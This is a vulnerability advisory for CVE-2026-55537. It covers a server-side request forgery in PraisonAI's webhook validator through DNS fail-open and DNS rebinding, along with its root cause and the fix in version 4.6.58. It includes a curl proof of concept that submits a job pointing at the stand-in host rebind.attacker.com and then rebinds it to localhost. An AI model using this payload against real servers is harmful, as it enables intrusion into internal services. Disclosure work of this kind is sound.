CVE-2026-55537: PraisonAI Webhook SSRF via DNS Fail-Open and TOCTOU Race
PraisonAI's job webhook validator silently accepts URLs when DNS resolution fails, and re-resolves hostnames at execution time, letting an attacker redirect the server's HTTP POST to any internal…

The problem
The validate_webhook_url() method in jobs/models.py catches socket.gaierror with a bare pass, so any hostname that returns NXDOMAIN or times out during submission is accepted without restriction.
Even when DNS succeeds at validation time, JobExecutor._send_webhook() calls httpx.AsyncClient().post(job.webhook_url) minutes or hours later, performing a completely fresh DNS lookup. The gap between these two resolutions is a classic TOCTOU window that enables DNS rebinding to internal addresses.
Proof of concept
A working proof-of-concept for CVE-2026-55537 in PraisonAI, with the exact payload below.
# 1. Submit job while rebind.attacker.com returns NXDOMAIN (DNS fail-open bypasses validator)
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued"}
# 2. Add DNS A record: rebind.attacker.com -> 127.0.0.1 (TTL=60)
# 3. Wait for job to complete. _send_webhook() resolves rebind.attacker.com -> 127.0.0.1
# POST /callback reaches 127.0.0.1 (SSRF)The root cause is two cooperating flaws. First, the except socket.gaierror: pass block in validate_webhook_url() (CWE-703 / fail-open) means any NXDOMAIN or transient DNS error at submission time causes the validator to return the URL unchanged. Second, httpx.AsyncClient creates a new TCP connection on every call with no shared DNS cache from the validator, so hostname resolution at execution time is entirely independent (CWE-367 TOCTOU).
The patch fixes the first flaw by replacing pass with raise ValueError(...), making the validator fail-closed on DNS errors, and adds a re-validation step inside _send_webhook() before the HTTP call to close the TOCTOU window.
The fix
Upgrade praisonai to version 4.6.58 or later. The fix changes the except socket.gaierror: pass handler to raise a ValueError, rejecting any webhook URL whose hostname cannot be resolved at submission time. It also adds a pre-flight DNS check inside _send_webhook() so a URL that passes submission-time validation is re-validated at execution time, blocking DNS rebinding attacks.
Related research
- high · 8.6CVE-2026-55539CVE-2026-55539: PraisonAI Jobs API Missing Authentication
- high · 7.6CVE-2026-55532CVE-2026-55532: PraisonAI MCP HTTP Server Origin Validation Bypass (CSRF)
- critical · 9.1CVE-2026-55536CVE-2026-55536: PraisonAI WebSocket Origin Validation Bypass via Unanchored Regex
- high · 7.3CVE-2026-55538CVE-2026-55538: PraisonAI serve agents --api-key Authentication Bypass